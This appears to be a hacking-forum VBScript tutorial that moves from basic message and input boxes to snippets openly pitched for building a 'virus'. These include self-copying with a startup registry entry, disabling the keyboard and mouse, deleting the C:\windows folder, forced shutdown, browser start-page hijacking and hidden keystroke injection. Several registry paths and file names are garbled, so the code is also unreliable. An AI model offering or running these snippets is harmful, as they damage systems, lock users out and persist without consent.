Tutorial by Huntondoom.
Though it's not VB / Net
it more a simpler version of VB
it pretty handy If you want to start with something...
this type of programming can easily be done in Notepad.
so you wont need to download a some sort of crap of software (though they can be handy for debugging)
so I am going to explain some code's, what most things mean and hope you will use it to experiment,
because it's important to have a creative mind.
If you want to see how your script works
then just save it as Name.vbs
let's start very easy,
with a Messagebox
Code:
msgbox "insert text here"
or
WScript.Echo "lol"
easy as it is msgbox stands for messagebox (NOWAY
and between the " " you put your text that will be shown
or you can use WScript.Echo though I use msgbox this is also a way of showing your message
ps: text will only be shown when it's put between ""
numbers will be show even without the ""
the input
Code:
inputbox("insert question ")
insert your text in between (" ")
though you can insert your answer it is not being saved
if you want to save it under a string or variable then do this
Code:
Stringname=inputbox("Insert question")
now it is saved under "stringname" it doesn't have to be stringname it could be anything random you want like blablablabla or wheeee
if you want to show the string in a message you just simply do
code:
msgbox stringname
if you would combine everything I just explained then you can get some thing like this
code:
Answer=inputbox("What's your name?")
msgbox "damm who the hack call's it child "& answer
in theory you would see the entered name appear in the message
If you want to expands this kind of thing like with a title or more strings shown in the message then
Code:
name=inputbox("...")
time=inputbox("... ")
name=name & vbCRLf
name = time & " " & name & vbCRlF
msgbox "" & name
the message box should look something like this:
name
time name
if you wouldn't use the " " then string will be attach to each other.
not sure what vbCRLf stand for, but i know that it acts as ENTER
and will create a new sentence beneath it (if there in nothing under it, then It won't be showed)
if you want to set a text between them you do it just like the space " " but you just insert text there
for numbers you don't need ""
name=inputbox("what's your name ? ","Evilzone","no name")
if name = "no name" then
msgbox "you didn't fill in, -.-'",1024,"Evilzone "
end if
if name = "huntondoom" then
msgbox "Your awesome",1402,"Evilzone "
end if
has you can see there is something different with the inputbox and msgbox,
the text of inputbox( and msgbox) consist of 3 section's
inputbox:
"what's your name?","Evilzone","no name" the section look like something like this (it filled in what it does)
" Text show in the msgbox","Title of the message box","answer that is already filled in"
"you didn't fill in, -.-'",1024,"Evilzone" the section look like something like this (it filled in what it does)
" message"," don't know (that's why the random number )","Title"
same goes here is it a number then you don't need ""
you also see a If part
you start as If (duuuh)
then the string or variable comes
if Name = "Huntondoom"
so if the insert string is Huntondoom equals what your are looking for
if stringname = "want it has to be"
this will open more possibility for you to do
message to things you ask that will so up what is insert and it can be more then just that
to complete this command then do:
if stringname = "what it's supposed to be" then
(fill here you commands in here)
end if
if you script need to be shutdown in the beginning in a if command then
this next command will shutdown your script
Wscript.quit
it is recommended it that you use it at the end of you script
some code's can still be active and this shut's it down
now that was the basic
now I will just give you some code's and explain there function
Creating a file:
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("C:textfilel.txt")
a.WriteLine ("insert your text here")
a.WriteBlankLines 1
this create's a file
this case a *.txt file
a stand for a variable that can be changed,
notice that every variable has to be the same
a.writeline is what will be put in your file
multiple a.writeline will create more sentence, it works like pressing Enter
a.WriteBlankLines 1 is to make a blank, depending on the value that is entered were 1 is it will create 1 or mulitple blanks lines
this you can create batch file with a script in this case it will create it's own virus or script program
change Internet explorer's name
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MainWindow Title","page"
as it said it will change internet explorer's name
change internet explorer's mainwindow
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MainStart Page"," [url=http://www.evilzone.org]www.evilzone.org[/url] "
as it said it will change internet explorer's main window
ps: if the 2 code's above don't work then there is probability something wrong with the \ things (it's in the wrong place)(or mises a few)
opening and closing CD-station's
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
it will count who many station's there are and open and close them
depending on the number insert in the green section's
Create a Error sound:
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
place file into start/run
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "Virus.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunStart menu",winfolder & "Name.vbs"
it will send your virus to a other folder
shutdown keyboard:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/DisableKeyboard", "Rundll32.exe Keyboard,Disable
shutdown mouse:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsof/tWindows/CurrentVersion/Run/DisableMouse", "Rundll32.exe Mouse,Disable"
delete a folder:
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:\windows")
aFolder.Delete
(do not try this exact code on your computer)
let the script wait a phew moments:
WScript.Sleep 400
the number will show how long it will wait
but it count's really fast 400 is not so long waiting
send a text, like if somebody type something:
(you don't see it being typed put it just put your text there)
WshShell.SendKeys " Evilzone FTW"
shutdown computer:
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("
select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
open notepad and write a text:
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 100
WshShell.SendKeys "hey go to [url=http://www.evilzone.org]www.evilzone.org[/url] "
ps: the first 2 line are for running a program
where notepad is located you either fill in the path of the file
or you just inserted a file that is known by the computer like notepad.
Change personal message in MSN:
Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
End Sub
Private Sub Timer1_Timer()
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 0.5
SendKeys " I love Evilzone "
Pause 0.5
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Me.Show
End Sub
Sub Pause(interval)
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub
change the name of a file, can also move it:
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.MoveFile "C:\FSO\Vrius.vbs" , "C:\FSO\setup.dll"
variable loop:
for I=0 to 5
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
next
wscript.quit
I is the variable that could be anything (it's usaly handy to hold on to a standaard)
0 is the beginning point
5 is the end point
a variable loop end with next
it is possible to do a double variable loop
it mostly used to check something after some time like this:
a=0
for I=0 to 10
if a=10 then
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
end if
if a=20 then
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
wscript.quit
end if
for J=0 to 2
a=a+1
next
next
if everything works like planned it will create check what a is every 2 times so it wil check what a is on 2 4 6 8 10 12 14 16 18 20
every time it hits 10 & 20 it will make a sound
every time it hits 20 it will shutdown the script
i may not be the best way to do it but it is an example
if you have a comment, thing you want to add , etc etc etc
please tell me
use these things to create programs that you just though of